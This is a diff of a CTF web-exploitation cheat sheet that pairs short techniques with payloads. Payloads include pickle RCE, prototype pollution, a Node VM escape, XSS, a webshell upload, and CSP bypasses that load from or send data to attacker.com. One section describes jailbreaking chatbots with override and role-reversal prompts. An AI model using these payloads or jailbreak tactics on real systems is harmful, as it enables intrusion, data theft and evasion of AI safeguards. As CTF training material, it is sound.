`pickle.loads()` calls `__reduce__()` → `(os.system, ('cmd',))` instant RCE. Also via `yaml.load()`, `torch.load()`, `joblib.load()`. See [server-side-deser.md](server-side-deser.md#python-pickle-deserialization).
|
|
255
|
+
|
|
256
|
+
## Race Conditions (Time-of-Check to Time-of-Use)
|
|
257
|
+
|
|
258
|
+
Concurrent requests bypass check-then-act patterns (balance, coupons, registration). Send 50 simultaneous requests — all see pre-modification state. See [server-side-deser.md](server-side-deser.md#race-conditions-time-of-check-to-time-of-use).
|
|
259
|
+
|
|
260
|
+
## Node.js Quick Reference
|
|
261
|
+
|
|
262
|
+
**Prototype pollution:** `{"__proto__": {"isAdmin": true}}` or flatnest circular ref bypass
|
|
263
|
+
**VM escape:** `this.constructor.constructor("return process")()` → RCE
|
|
264
|
+
**Full chain:** pollution → enable JS eval in Happy-DOM → VM escape → RCE
|
|
265
|
+
|
|
266
|
+
**Prototype pollution permission bypass:** `{"__proto__":{"isAdmin":true}}` on JSON endpoints pollutes `Object.prototype`. Always try `__proto__` injection even when the vulnerability seems like something else.
|
|
267
|
+
|
|
268
|
+
See [node-and-prototype.md](node-and-prototype.md) for detailed exploitation.
|
|
269
|
+
|
|
270
|
+
## Auth & Access Control Quick Reference
|
|
271
|
+
|
|
272
|
+
- Cookie manipulation: `role=admin`, `isAdmin=true`
|
|
273
|
+
- Public admin-login cookie seeding: check if `/admin/login` sets reusable admin session cookie
|
|
274
|
+
- Host header bypass: `Host: 127.0.0.1`
|
|
275
|
+
- Hidden endpoints: search JS bundles for `/api/internal/`, `/api/admin/`; fuzz with auth cookie for non-`/api` routes like `/internal/*`
|
|
276
|
+
- Client-side gates: `window.overrideAccess = true` or call API directly
|
|
277
|
+
- Password inference: profile data + structured ID format → brute-force
|
|
278
|
+
- Weak signature: check if only first N chars of hash are validated
|
|
279
|
+
- Affine cipher OTP: only 312 possible values (`12 mults × 26 adds`), brute-force all in seconds
|
|
280
|
+
- TOTP srand(time()) weakness: sync server clock to predict codes. See [auth-and-access.md](auth-and-access.md#totp-recovery-via-php-srandtime-seed-weakness-tum-ctf-2016)
|
|
281
|
+
- Express.js `%2F` middleware bypass, IDOR on WIP endpoints, git history credential leakage
|
|
282
|
+
- CI/CD variable theft, identity provider API takeover (bypass MFA: `not_configured_action: skip`)
|
|
283
|
+
- SAML SSO automation, Guacamole parameter extraction, login page poisoning, TeamCity REST API RCE
|
|
284
|
+
|
|
285
|
+
## Apache CVE-2012-0053 HttpOnly Cookie Leak
|
|
286
|
+
|
|
287
|
+
Send oversized `Cookie` header to trigger 400 Bad Request; Apache's error page reflects the cookie value, leaking HttpOnly cookies. See [cves.md](cves.md#cve-2012-0053-apache-httponly-cookie-leak-via-400-bad-request-rc3-ctf-2016).
|
|
288
|
+
|
|
289
|
+
## Apache mod_status Information Disclosure
|
|
290
|
+
|
|
291
|
+
`/server-status` endpoint reveals active URLs, client IPs, and session data. Use for admin endpoint discovery and session forging. See [auth-and-access.md](auth-and-access.md#apache-mod_status-information-disclosure--session-forging-29c3-ctf-2012).
|
|
292
|
+
|
|
293
|
+
## Open Redirect Chains
|
|
294
|
+
|
|
295
|
+
Chain open redirects (`?redirect=`, `?next=`, `?url=`) with OAuth flows for token theft. Bypass validation with `@`, `%00`, `//`, `\`, CRLF. See [auth-and-access.md](auth-and-access.md#open-redirect-chains).
|
|
296
|
+
|
|
297
|
+
## Subdomain Takeover
|
|
298
|
+
|
|
299
|
+
Dangling CNAME → claim resource on external service (GitHub Pages, S3, Heroku). Use `subfinder` + `httpx` to enumerate, check fingerprints. See [auth-and-access.md](auth-and-access.md#subdomain-takeover).
|
|
300
|
+
|
|
301
|
+
See [auth-and-access.md](auth-and-access.md) for access control bypasses, [auth-jwt.md](auth-jwt.md) for JWT/JWE attacks, and [auth-infra.md](auth-infra.md) for OAuth/SAML/CI-CD/infrastructure auth.
|
|
302
|
+
|
|
303
|
+
## File Upload to RCE
|
|
304
|
+
|
|
305
|
+
- `.htaccess` upload: `AddType application/x-httpd-php .lol` + webshell
|
|
306
|
+
- Gogs symlink: overwrite `.git/config` with `core.sshCommand` RCE
|
|
307
|
+
- Python `.so` hijack: write malicious shared object + delete `.pyc` to force reimport
|
|
308
|
+
- ZipSlip: symlink in zip for file read, path traversal for file write
|
|
309
|
+
- Log poisoning: PHP payload in User-Agent + path traversal to include log
|
|
310
|
+
- PNG/PHP polyglot + double extension: valid PNG with `<?php` after IEND chunk, uploaded as `.png.php`; when `disable_functions` blocks exec, use `scandir('/')` + `file_get_contents()` for flag. See [server-side-exec-2.md](server-side-exec-2.md#pngphp-polyglot-upload--double-extension--disable_functions-bypass-metactf-flash-2026).
|
|
311
|
+
|
|
312
|
+
See [server-side-exec.md](server-side-exec.md) and [server-side-exec-2.md](server-side-exec-2.md) for detailed steps.
|
|
313
|
+
|
|
314
|
+
## Multi-Stage Chain Patterns
|
|
315
|
+
|
|
316
|
+
**0xClinic chain:** Password inference → path traversal + ReDoS oracle (leak secrets from `/proc/1/environ`) → CRLF injection (CSP bypass + cache poisoning + XSS) → urllib scheme bypass (SSRF) → `.so` write via path traversal → RCE
|
|
317
|
+
|
|
318
|
+
**Key chaining insights:**
|
|
319
|
+
- Path traversal + any file-reading primitive → leak `/proc/*/environ`, `/proc/*/cmdline`
|
|
320
|
+
- CRLF in headers → CSP bypass + cache poisoning + XSS in one shot
|
|
321
|
+
- Arbitrary file write in Python → `.so` hijacking or `.pyc` overwrite for RCE
|
|
322
|
+
- Lowercased response body → use hex escapes (`\x3c` for `<`)
|
|
323
|
+
|
|
324
|
+
## Flask/Werkzeug Debug Mode
|
|
325
|
+
|
|
326
|
+
Weak session secret brute-force + forge admin session + Werkzeug debugger PIN RCE. See [server-side-advanced.md](server-side-advanced.md#flaskwerkzeug-debug-mode-exploitation) for full attack chain.
|
|
327
|
+
|
|
328
|
+
## XXE with External DTD Filter Bypass
|
|
329
|
+
|
|
330
|
+
Host malicious DTD externally to bypass upload keyword filters. See [server-side-advanced.md](server-side-advanced.md#xxe-with-external-dtd-filter-bypass) for payload and webhook.site setup.
|
|
331
|
+
|
|
332
|
+
## JSFuck Decoding
|
|
333
|
+
|
|
334
|
+
Remove trailing `()()`, eval in Node.js, `.toString()` reveals original code. See [client-side.md](client-side.md#jsfuck-decoding).
|
|
335
|
+
|
|
336
|
+
## DOM XSS via jQuery Hashchange (Crypto-Cat)
|
|
337
|
+
|
|
338
|
+
`$(location.hash)` + `hashchange` event → XSS via iframe: `<iframe src="https://target/#" onload="this.src+='<img src=x onerror=print()>'">`. See [client-side.md](client-side.md#dom-xss-via-jquery-hashchange-crypto-cat).
|
|
339
|
+
|
|
340
|
+
## Shadow DOM XSS
|
|
341
|
+
|
|
342
|
+
Proxy `attachShadow` to capture closed roots; `(0,eval)` for scope escape; `</script>` injection. See [client-side.md](client-side.md#shadow-dom-xss).
|
|
343
|
+
|
|
344
|
+
## DOM Clobbering + MIME Mismatch
|
|
345
|
+
|
|
346
|
+
`.jpg` served as `text/html`; `<form id="config">` clobbers JS globals. See [client-side.md](client-side.md#dom-clobbering--mime-mismatch).
|
|
347
|
+
|
|
348
|
+
## HTTP Request Smuggling via Cache Proxy
|
|
349
|
+
|
|
350
|
+
Cache proxy desync for cookie theft via incomplete POST body. See [client-side.md](client-side.md#http-request-smuggling-via-cache-proxy).
|
|
351
|
+
|
|
352
|
+
## Path Traversal: URL-Encoded Slash Bypass
|
|
353
|
+
|
|
354
|
+
`%2f` bypasses nginx route matching but filesystem resolves it. See [server-side-advanced.md](server-side-advanced.md#path-traversal-url-encoded-slash-bypass).
|
|
355
|
+
|
|
356
|
+
## WeasyPrint SSRF & File Read (CVE-2024-28184)
|
|
357
|
+
|
|
358
|
+
`<a rel="attachment" href="file:///flag.txt">` or `<link rel="attachment" href="http://127.0.0.1/admin">` -- WeasyPrint embeds fetched content as PDF attachments, bypassing header checks. Boolean oracle via `/Type /EmbeddedFile` presence. See [server-side-advanced-4.md](server-side-advanced-4.md#weasyprint-ssrf--file-read-cve-2024-28184-nullcon-2026) and [cves.md](cves.md#cve-2024-28184-weasyprint-attachment-ssrf--file-read).
|
|
359
|
+
|
|
360
|
+
## MongoDB Regex / $where Blind Injection
|
|
361
|
+
|
|
362
|
+
Break out of `/.../i` with `a^/)||(<condition>)&&(/a^`. Binary search `charCodeAt()` for extraction. See [server-side-advanced-4.md](server-side-advanced-4.md#mongodb-regex-injection--where-blind-oracle-nullcon-2026).
|
|
363
|
+
|
|
364
|
+
## Pongo2 / Go Template Injection
|
|
365
|
+
|
|
366
|
+
`{% include "/flag.txt" %}` in uploaded file + path traversal in template parameter. See [server-side-advanced-4.md](server-side-advanced-4.md#pongo2--go-template-injection-via-path-traversal-nullcon-2026).
|
|
367
|
+
|
|
368
|
+
## ZIP Upload with PHP Webshell
|
|
369
|
+
|
|
370
|
+
Upload ZIP containing `.php` file → extract to web-accessible dir → `file_get_contents('/flag.txt')`. See [server-side-advanced-4.md](server-side-advanced-4.md#zip-upload-with-php-webshell-nullcon-2026).
|
|
371
|
+
|
|
372
|
+
## basename() Bypass for Hidden Files
|
|
373
|
+
|
|
374
|
+
`basename()` only strips dirs, doesn't filter `.lock` or hidden files in same directory. See [server-side-advanced-4.md](server-side-advanced-4.md#basename-bypass-for-hidden-files-nullcon-2026).
|
|
375
|
+
|
|
376
|
+
## Custom Linear MAC Forgery
|
|
377
|
+
|
|
378
|
+
Linear XOR-based signing with secret blocks → recover from known pairs → forge for target. See [auth-and-access.md](auth-and-access.md#custom-linear-macsignature-forgery-nullcon-2026).
|
|
379
|
+
|
|
380
|
+
## CSS/JS Paywall Bypass
|
|
381
|
+
|
|
382
|
+
Content behind CSS overlay (`position: fixed; z-index: 99999`) is still in the raw HTML. `curl` or view-source bypasses it instantly. See [client-side.md](client-side.md#cssjs-paywall-bypass).
|
|
383
|
+
|
|
384
|
+
## SSRF to Docker API RCE Chain
|
|
385
|
+
|
|
386
|
+
SSRF to unauthenticated Docker daemon on port 2375. Use `/archive` for file extraction, `/exec` + `/exec/{id}/start` for command execution. Chain through internal POST relay when SSRF is GET-only. See [server-side-advanced-2.md](server-side-advanced-2.md#ssrf-to-docker-api-rce-chain-h7ctf-2025).
|
|
387
|
+
|
|
388
|
+
## Castor XML Deserialization via xsi:type (Atlas HTB)
|
|
389
|
+
|
|
390
|
+
Castor XML `Unmarshaller` without mapping file trusts `xsi:type` attributes for arbitrary Java class instantiation. Chain through JNDI (Java Naming and Directory Interface) / RMI (Remote Method Invocation) via ysoserial `CommonsBeanutils1` for RCE. Requires Java 11 (not 17+). Check `pom.xml` for `castor-xml`. See [server-side-advanced-2.md](server-side-advanced-2.md#castor-xml-deserialization-via-xsitype-polymorphism-atlas-htb).
|
|
391
|
+
|
|
392
|
+
## Apache ErrorDocument Expression File Read (Zero HTB)
|
|
393
|
+
|
|
394
|
+
`.htaccess` with `ErrorDocument 404 "%{file:/etc/passwd}"` reads files at Apache level, bypassing `php_admin_flag engine off`. Requires `AllowOverride FileInfo`. Upload via SFTP, trigger with 404 request. See [server-side-advanced-2.md](server-side-advanced-2.md#apache-errordocument-expression-file-read-zero-htb).
|
|
395
|
+
|
|
396
|
+
## HTTP TRACE Method Bypass
|
|
397
|
+
|
|
398
|
+
Endpoints returning 403 on GET/POST may respond to TRACE, PUT, PATCH, or DELETE. Test with `curl -X TRACE`. See [auth-and-access.md](auth-and-access.md#http-trace-method-bypass-bypass-ctf-2025).
|
|
399
|
+
|
|
400
|
+
## LLM/AI Chatbot Jailbreak
|
|
401
|
+
|
|
402
|
+
AI chatbots guarding flags can be bypassed with system override prompts, role-reversal, or instruction leak requests. Rotate session IDs and escalate prompt severity. See [auth-and-access.md](auth-and-access.md#llmai-chatbot-jailbreak-bypass-ctf-2025).
|
|
403
|
+
|
|
404
|
+
## Admin Bot javascript: URL Scheme Bypass
|
|
405
|
+
|
|
406
|
+
`new URL()` validates syntax only, not protocol — `javascript:` URLs pass and execute in Puppeteer's authenticated context. CSP/SRI on the target page are irrelevant since JS runs in navigation context. See [client-side.md](client-side.md#admin-bot-javascript-url-scheme-bypass-dicectf-2026).
|
|
407
|
+
|
|
408
|
+
## XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)
|
|
409
|
+
|
|
410
|
+
HTML injection → meta refresh redirect (CSP bypass) → admin bot loads attacker page → JavaScript makes cross-origin GET requests to `localhost` GraphQL endpoint via `new Image().src` → measures time-based SQLi (`SLEEP(1)`) through image error timing → character-by-character flag exfiltration. GraphQL GET requests bypass CORS preflight. See [client-side.md](client-side.md#xs-leak-via-image-load-timing--graphql-csrf-htb-grandmonty).
|
|
411
|
+
|
|
412
|
+
## React Server Components Flight Protocol RCE (Ehax 2026)
|
|
413
|
+
|
|
414
|
+
Identify via `Next-Action` + `Accept: text/x-component` headers. CVE-2025-55182: fake Flight chunk exploits constructor chain for server-side JS execution. Exfiltrate via `NEXT_REDIRECT` error → `x-action-redirect` header. WAF bypass: `'chi'+'ld_pro'+'cess'` or hex `'\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'`. See [server-side-advanced-4.md](server-side-advanced-4.md#react-server-components-flight-protocol-rce-ehax-2026) and [cves.md](cves.md#cve-2025-55182--cve-2025-66478-react-server-components-flight-protocol-rce).
|
|
415
|
+
|
|
416
|
+
## Unicode Case Folding XSS Bypass (UNbreakable 2026)
|
|
417
|
+
|
|
418
|
+
**Pattern:** Sanitizer regex uses ASCII-only matching (`<\s*script`), but downstream processing applies Unicode case folding (`strings.EqualFold`). `<ſcript>` (U+017F Latin Long S) bypasses regex but folds to `<script>`. Other pairs: `ı`→`i`, `K` (U+212A)→`k`. See [client-side-advanced.md](client-side-advanced.md#unicode-case-folding-xss-bypass-unbreakable-2026).
|
|
419
|
+
|
|
420
|
+
## CSS Font Glyph + Container Query Data Exfiltration (UNbreakable 2026)
|
|
421
|
+
|
|
422
|
+
**Pattern:** Exfiltrate inline text via CSS injection (no JS). Custom font assigns unique glyph widths per character. Container queries match width ranges to fire background-image requests -- one request per character. Works under strict CSP. See [client-side-advanced.md](client-side-advanced.md#css-font-glyph-width--container-query-exfiltration-unbreakable-2026).
|
|
423
|
+
|
|
424
|
+
## Hyperscript / Alpine.js CDN CSP Bypass (UNbreakable 2026)
|
|
425
|
+
|
|
426
|
+
**Pattern:** CSP allows `cdnjs.cloudflare.com`. Load Hyperscript (`_=` attributes) or Alpine.js (`x-data`, `x-init`) from CDN -- they execute code from HTML attributes that sanitizers don't strip. See [client-side-advanced.md](client-side-advanced.md#hyperscript-cdn-csp-bypass-unbreakable-2026).
|
|
427
|
+
|
|
428
|
+
## Solidity Transient Storage Clearing Collision (0.8.28-0.8.33)
|
|
429
|
+
|
|
430
|
+
**Pattern:** Solidity IR pipeline (`--via-ir`) generates identically-named Yul helpers for `delete` on persistent and transient variables of the same type. One uses `sstore`, the other should use `tstore`, but deduplication picks only one. Exploits: overwrite `owner` (slot 0) via transient `delete`, or make persistent `delete` (revoke approvals) ineffective. Workaround: use `_lock = address(0)` instead of `delete _lock`. See [web3.md](web3.md#solidity-transient-storage-clearing-helper-collision-solidity-0828-0833).
|
|
431
|
+
|
|
432
|
+
## Chrome Unicode URL Normalization Bypass (RCTF 2017)
|
|
433
|
+
|
|
434
|
+
Chrome's IDNA/punycode normalization converts fullwidth Unicode characters (U+FF00-U+FF5E) to ASCII equivalents, bypassing length checks and character filters on domain names. See [client-side-advanced.md](client-side-advanced.md#chrome-unicode-url-normalization-bypass-rctf-2017).
|
|
435
|
+
|
|
436
|
+
## CSP Nonce Bypass via base Tag Hijacking (BSidesSF 2026)
|
|
437
|
+
|
|
438
|
+
**Pattern:** CSP uses `script-src 'nonce-xxx'` but missing `base-uri` directive. Inject `<base href="https://attacker.com/">` before a nonced `<script src="relative.js">` -- script loads from attacker server but satisfies CSP via the valid nonce. Defense: always include `base-uri 'self'`. See [client-side-advanced.md](client-side-advanced.md#csp-nonce-bypass-via-base-tag-hijacking-bsidessf-2026).
|
|
439
|
+
|
|
440
|
+
## JA4/JA4H TLS Fingerprint Matching (BSidesSF 2026)
|
|
441
|
+
|
|
442
|
+
**Pattern:** Server validates browser identity via JA4 (TLS ClientHello fingerprint) and JA4H (HTTP header ordering fingerprint) in addition to User-Agent. Spoofing UA alone fails; must match the target browser's TLS cipher suite order and HTTP header sequence. For legacy browsers, run the actual browser. See [auth-and-access.md](auth-and-access.md#ja4ja4h-tls-and-http-fingerprint-matching-bsidessf-2026).
|
|
443
|
+
|
|
444
|
+
## Client-Side HMAC Bypass via Leaked JS Secret (Codegate 2013)
|
|
445
|
+
|
|
446
|
+
Deobfuscate client-side JS to extract hardcoded HMAC secret, then forge signatures for arbitrary requests via browser console. See [client-side-advanced.md](client-side-advanced.md#client-side-hmac-bypass-via-leaked-js-secret-codegate-2013).
|
|
447
|
+
|
|
448
|
+
## SQLi Keyword Fragmentation Bypass (SecuInside 2013)
|
|
449
|
+
|
|
450
|
+
Single-pass `preg_replace()` keyword filters bypassed by nesting the stripped keyword inside the payload: `unload_fileon` → `union` after `load_file` removal. See [server-side-exec-2.md](server-side-exec-2.md#sqli-keyword-fragmentation-bypass-secuinside-2013).
|
|
451
|
+
|
|
452
|
+
## Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)
|
|
453
|
+
|
|
454
|
+
Strip pickle STOP opcode (`\x2e`) from first payload, concatenate second — both `__reduce__` calls execute in single `pickle.loads()`. Chain `os.dup2()` for socket output. See [server-side-deser.md](server-side-deser.md#pickle-chaining-via-stop-opcode-stripping-volgactf-2013).
|
|
455
|
+
|
|
456
|
+
## XPath Blind Injection (BaltCTF 2013)
|
|
457
|
+
|
|
458
|
+
`substring(normalize-space(../../../node()),1,1)='a'` — boolean-based blind extraction from XML data stores via response length oracle. See [server-side-exec.md](server-side-exec.md#xpath-blind-injection-baltctf-2013).
|
|
459
|
+
|
|
460
|
+
## SQLite File Path Traversal to Bypass String Equality (Codegate 2013)
|
|
461
|
+
|
|
462
|
+
Input `/../gamesim_GM` fails `== "GM"` string check but filesystem normalizes `/var/game_db/gamesim_/../gamesim_GM.db` to the blocked path. See [server-side-advanced-2.md](server-side-advanced-2.md#sqlite-file-path-traversal-to-bypass-string-equality-codegate-2013).
|
|
463
|
+
|
|
464
|
+
## PHP Serialization Length Manipulation via Filter Word Expansion (0CTF 2016)
|
|
465
|
+
|
|
466
|
+
Post-serialization string filter replaces "where" (5 chars) with "hacker" (6 chars). Repeat "where" N times so expansion overflows by exactly enough bytes to inject a serialized field (`";}s:5:"photo";s:10:"config.php";}`). See [server-side-deser.md](server-side-deser.md#php-serialization-length-manipulation-via-filter-word-expansion-0ctf-2016).
|
|
467
|
+
|
|
468
|
+
## CSP Bypass via link prefetch (Boston Key Party 2016)
|
|
469
|
+
|
|
470
|
+
`<link rel="prefetch" href="http://attacker.com/steal">` not blocked by CSP `script-src`. Also: `<meta http-equiv="refresh">`. Scriptless data exfiltration. See [client-side-advanced.md](client-side-advanced.md#csp-bypass-via-link-prefetch-boston-key-party-2016).
|
|
471
|
+
|
|
472
|
+
## XML Injection via X-Forwarded-For Header (Pwn2Win 2016)
|
|
473
|
+
|
|
474
|
+
Server builds XML from headers without escaping. Inject `</ip><admin>true</admin><ip>` via X-Forwarded-For; first-tag-wins XML parsing. See [server-side.md](server-side-2.md#xml-injection-via-x-forwarded-for-header-pwn2win-2016).
|
|
475
|
+
|
|
476
|
+
## Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)
|
|
477
|
+
|
|
478
|
+
`b64decode()` silently ignores non-base64 chars. Append `&price=0` after signature -- b64decode strips it, but parameter parser processes it (last value wins). See [auth-infra.md](auth-infra.md#base64-decode-leniency-and-parameter-override-for-signature-bypass-bctf-2016).
|
|
479
|
+
|
|
480
|
+
## Common Flag Locations
|
|
481
|
+
|
|
482
|
+
Files: `/flag.txt`, `/flag`, `/app/flag.txt`, `/home/*/flag*`. Env: `/proc/self/environ`. DB: `flag`, `flags`, `secret` tables. Headers: `x-flag`, `x-archive-tag`, `x-proof`. DOM: `display:none` elements, `data-*` attributes.
|